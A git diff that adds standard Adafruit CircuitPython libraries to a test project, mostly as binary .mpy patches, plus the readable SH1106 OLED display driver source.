zhTJ_YmXIN{yabNz-Spmoj53;dOq=j^RC(_7na6&F�`)ZdX#lxSULY+vyDS80~eV zv1n2RL)EC#KeVN3wpVYHW;E%!)Bds@v)!UetG_ep8UlU-GXn-xwia2D)ou8Te>cR) z%cpa@uMKjl8< zhhI{zt8Wy=J=P}ir(8o$ha=_`gf|a#_8k`vofUjXT8_RYgm~&1vIu6w zk_NI1zyB(G3lH5Mx-+zTcVMk>Z*FLP10o0DJNmUq#JhhHN4{I@aYGI+eMXQ zr<}-ZD6P(BzrB?&JoY!?c^FxZoeWzMPOtguFjF}mjnBiovD>hghkqUSCDKz8Skkjg zjzmWlG5zgrP!6US@=mtfc&|7|Y7WB}&C7c(8zJ9-OQs{b% zzsQgC`&}))`!Du%!uLqud+r$jE;Vy!c6H!xVXZiHZ(U`ZHm1b>gY^AnEfEM8zM56J z+UX^T<1HVTo#vV#6U!tK4_07FHZ2WiJq=nn$->|941{|(o&$|4yu$9j>#M~~np5Yf1>fQlwM&i zPXq*_>P;BEDOfRJ!iv8JXPnlD0)quB!A2E0wd|$AAEy<}l;HGxV^G@B>XPQ-GGIi0bFOpBMwaKi~o+ z--Kt_eRqoG*51|G!XxM_%wD*4CtoDZV*bMIRi>*j!paxOZ8Q+TNzU(QEc!XdR;FlhGZAQSUB&UP4yuZ<;BnC^~ahpC`v& z8d=J7>w(uMB;$-%>m2r%6MoChniiMqq>C(O2XWJ`0~!Zy01o<$P~r200@%ib7bP)~ z48AuZX>^dmaKIaNA+HH_ViHUNYa$xDOALvDW;)Ax&`YlxmYXcx2vqwE>|W)X5LD3L zs^wb%6w<3@Mm{NMIo^3^iM8$ee|Hwk%|;4Uo)|o%-5Ln1@@v#eV@+-oA^MX&)l9jj QS#CBB_h`qpj$lpvUs6&+UH||9 literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_display_text/label.mpy b/Alex-Test/lib/adafruit_display_text/label.mpy new file mode 100644 index 0000000000000000000000000000000000000000..4e938bf2e701c70b2aa135dc21387690b7d850f8 GIT binary patch literal 3802 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 R-^yR+FX3~!(Wtj-{{=N-UMK(n literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_displayio_sh1106.py b/Alex-Test/lib/adafruit_displayio_sh1106.py new file mode 100644 index 0000000..6ff8f3f --- /dev/null +++ b/Alex-Test/lib/adafruit_displayio_sh1106.py @@ -0,0 +1,115 @@ +# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries +# SPDX-FileCopyrightText: Copyright (c) 2021 ladyada for Adafruit Industries +# +# SPDX-License-Identifier: MIT +""" +`adafruit_displayio_sh1106` +================================================================================ + +DisplayIO compatible library for SH1106 OLED displays + + +* Author(s): ladyada + +Implementation Notes +-------------------- + +**Hardware:** + +**Software and Dependencies:** + +* Adafruit CircuitPython firmware for the supported boards: + https://github.com/adafruit/circuitpython/releases + +""" + +# imports +import displayio + +__version__ = "0.0.0-auto.0" +__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_DisplayIO_SH1106.git" + + +# Sequence from sh1106 framebuf driver formatted for displayio init +_INIT_SEQUENCE = ( + b"\xae\x00" # display off, sleep mode + b"\xd5\x01\x80" # divide ratio/oscillator: divide by 2, fOsc (POR) + b"\xa8\x01\x3f" # multiplex ratio = 64 (POR) + b"\xd3\x01\x00" # set display offset mode = 0x0 + b"\x40\x00" # set start line + b"\xad\x01\x8b" # turn on DC/DC + b"\xa1\x00" # segment remap = 1 (POR=0, down rotation) + b"\xc8\x00" # scan decrement + b"\xda\x01\x12" # set com pins + b"\x81\x01\xff" # contrast setting = 0xff + b"\xd9\x01\x1f" # pre-charge/dis-charge period mode: 2 DCLKs/2 DCLKs (POR) + b"\xdb\x01\x40" # VCOM deselect level = 0.770 (POR) + b"\x20\x01\x20" # + b"\x33\x00" # turn on VPP to 9V + b"\xa6\x00" # normal (not reversed) display + b"\xa4\x00" # entire display off, retain RAM, normal status (POR) + b"\xaf\x00" # DISPLAY_ON +) + + +class SH1106(displayio.Display): + """ + SH1106 driver for use with DisplayIO + + :param bus: The bus that the display is connected to. + :param int width: The width of the display. Maximum of 132 + :param int height: The height of the display. Maximum of 64 + :param int rotation: The rotation of the display. 0, 90, 180 or 270. + """ + + def __init__(self, bus, **kwargs): + init_sequence = bytearray(_INIT_SEQUENCE) + super().__init__( + bus, + init_sequence, + **kwargs, + color_depth=1, + grayscale=True, + pixels_in_byte_share_row=False, # in vertical (column) mode + data_as_commands=True, # every byte will have a command byte preceeding + brightness_command=0x81, + single_byte_bounds=True, + # for sh1107 use column and page addressing. + # lower column command = 0x00 - 0x0F + # upper column command = 0x10 - 0x17 + # set page address = 0xB0 - 0xBF (16 pages) + SH1107_addressing=True, + ) + self._is_awake = True # Display starts in active state (_INIT_SEQUENCE) + + @property + def is_awake(self): + """ + The power state of the display. (read-only) + + `True` if the display is active, `False` if in sleep mode. + """ + return self._is_awake + + def sleep(self): + """ + Put display into sleep mode. The display uses < 5uA in sleep mode. + + Sleep mode does the following: + + 1) Stops the oscillator and DC-DC circuits + 2) Stops the OLED drive + 3) Remembers display data and operation mode active prior to sleeping + 4) The MP can access (update) the built-in display RAM + """ + if self._is_awake: + self.bus.send(int(0xAE), "") # 0xAE = display off, sleep mode + self._is_awake = False + + def wake(self): + """ + Wake display from sleep mode + """ + if not self._is_awake: + self.bus.send(int(0xAF), "") # 0xAF = display on + self._is_awake = True diff --git a/Alex-Test/lib/adafruit_framebuf.mpy b/Alex-Test/lib/adafruit_framebuf.mpy new file mode 100644 index 0000000000000000000000000000000000000000..6e0a8de501d466b4dd4b4305085c482355493c76 GIT binary patch literal 4805 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 literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_hid/keyboard_layout_base.mpy b/Alex-Test/lib/adafruit_hid/keyboard_layout_base.mpy new file mode 100644 index 0000000000000000000000000000000000000000..2cf77eba116748b138eb7855c8137a52f7a4dcaf GIT binary patch literal 1223 zcmbtST~8us6nzhJMn7p6)70O>#I89tJxx6NFfIbYBFJm;L0#q_Cg-B^8w ztZAttov5vvMyj<+$S_l=QSQYYdg(;|KgCD1@B*VBnAy+6(eOIY6LKM|&6;vf zh!^n;A*$R^2+2n=^L&c7H{y~6Dlrp}56c)gH>#S}Xl_Izr!}qGDuv6+tH@MHBr#Q# zs;OmAcF@+U@IX2vhN1k%VM}A@Pm9H(Ul@PBqHoi`>7#R9$2+F$>H50!$cYws;A7^I z+tWcjca+X-=gIb7VrS$g_VPQqi7QRBseN(F(>dXv<}y3!Jb@ZwghGfH5=W^_hUE9j z?pDEwts;Ig4OLq?GDAcr*N9Y7F68y-m*uLY5=|kKWYoe78zEr>g*C^j7m#y^ke3DRj$jhJ0jKVaa0&TF+broE7i4AwJTmTA@tr!zoYi;fd4SN zda$0}^9E3l?EZ}IbnZz%j_(Kbqv)jI4Epf$L)=tID%6E8`!Q_zVgeZAv48x#&RK4M z{QFjCy+bH;A@SDJc{?EGN(2!u`RF98FDy!*6b86=9-9kS?TJT`JXO;Y3jdW7<*~poBML$SWc62H>tD zYp)Hvu@-%O6%5}jejD9c!Mj!muaMPb1=ZWKK(=d7dbo7>H#gVmte=7 zR?t1HfPE0{bikpnKr&1oM&uoe3q~Xdzu=lb3_~W!ByFQI&|esgq}U9m|6fR_?r|@( z^cQLkuLhUVn4!)FA4JDwF~In^Y+TEOXf;B;<1!r`oVAmWx}QL-xVan-OndM8E_9}| YD>3|0w87r(Fpx6n=pWw?Mr||y07^q{S^xk5 literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_hid/keyboard_layout_us.mpy b/Alex-Test/lib/adafruit_hid/keyboard_layout_us.mpy new file mode 100644 index 0000000000000000000000000000000000000000..7b3398c97002fdb745dab2ddc33b92b19814a973 GIT binary patch literal 330 zcmZ=}Ws+BD43LmuV0TGONlYs$%`Az}$V}1CPOVJJPb^A_&q=JzFD;2LE!HcjOi*ZG zFX)@j&?und4VCu+OFJbNr)n`uYoO~&0*cEpi!nxq7%>Papy~+?7GySI7GoA<6q7-f z2~1{StYHvg=Ir5b5K>?eWDpl)5EEb)V~|p25L0jrcJ}m)5Al!pc8zrQcX16&W@Jce zWPkxJZ4DR`Mr(o?I`g(HSh#43$+G23*O}>>Td2#)D<~={tEj4NHr}SUeaHNk*0%PJ z&aUpB-oE|`6DLicGIiSY88c_io-b`DN1ZXRAfegQ!tVG&U=aS2H& NX&Kq|8#iqA0RU^>U9SKD literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_hid/keycode.mpy b/Alex-Test/lib/adafruit_hid/keycode.mpy new file mode 100644 index 0000000000000000000000000000000000000000..4a30986abd7f6fc72f9479ae2b3a7878d32bc2d6 GIT binary patch literal 1764 zcmb7_S#ujj5XV=OL{84u~e9cK5p`^~wXyY20_dPSK~?g9m}2SAy60hszCu*yrow3mTZUjfEn z1y*|vSp9WijmyCFH-OE*39R`RFyjia*4x0$cYs;%0<*6IYrhA~xdzOAADH(6F#khf z3m*aNd<<;y6JSf90$aWgNz3G)LDK73pF`SfIGle0shZ_GUy|qx{3}Sh`r_A+cKHG~ zzkxK@>kaQ)NSV6Hzk}2=cdYLzYkJ(7NI=Hnp6{4HK!&@TYV#i$`zrX-#|-4%TMyF|tK`oa`(JkgO+eEPd`6w5DUKAaGC}A7E zi()aJ5CVi^2_~Zn#3hR5I3z$(oQ|i5q@s8_t|yU2aprbR?4o!kUQZCC2;%i2%_vsl zM2Izt)wqD<8^u~2OVCktVQO@MAvvN4g(wq(9?~P$0aV*IbWQbiLQ!l;LOYz^a5FA2 zBpt>f?TRT#z-X*Ce z9MBoV@2y#;M}*O(8;@KZtVS%j4ZY@t*HJn+ScB}45kqE^YA6}Y4o@@aMx%9Km!m@& z@8~9hVfmQb#c+pX3_ zMc5Y$H;d((jOQvxS${U0crY=aDgd(KvnpZ{Bd9WHS1c8T0zMG)I0StFjz9!62_GN~ zlf=(zxYUXFD@PTvv^Qd;Nm}l#$vb*?1Xmqkn*~#saTCd`Lhv}n1IE6tb4CmZZsY+x zo@ExG;}wcc`ss_chFWaPhGQ-F%c+(HuwW1Y#269qstBzu-$@CJTdCCjdkr+SxpFu0 z-)$oA`bs>$w%kke00EYV$X=;pS>_GMS;Z30$(T1H)H8*gB=II>&r4$dDIp|eOx`jh zYq5NQ`99%?OS5S8=6WRT6ffajq!Htd4?hH<-VS50H#| zhO^5O#uYURGa6^s)AWdx9e@|k?ytxy2ytTrWPv!sK=U}r!>#tOM`?|-QFITvQ&W_3 zNmflEZrnyzvawl;wCTtnzpq1W(y*ICHvQ9p=#XoD4g=h{g=`aNP@lEknW>|?G_I!U zdkap{a*+&A1cSkFI6OBw2^Nz?=Uodn(ic7J zIIVen9O`^Q_duG*ObOd(S07K#uRfh#TzzhnpGzO=Cse+#pHlg*-krm6XgIPz-^W-| z6T`^IlGpy}>CQek)HL0S(&$pBaB;3~-)^Ne<792*EpYc0#ZrLOsm>h+{z5Hch#2V6 Jtp!n5{sC&e^*R6m literal 0 HcmV?d00001 diff --git a/Alex-Test/lib/adafruit_requests.mpy b/Alex-Test/lib/adafruit_requests.mpy new file mode 100644 index 0000000000000000000000000000000000000000..af00609da3b428c1eaaab5c36a453bb1b92f0b2a GIT binary patch literal 7324 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 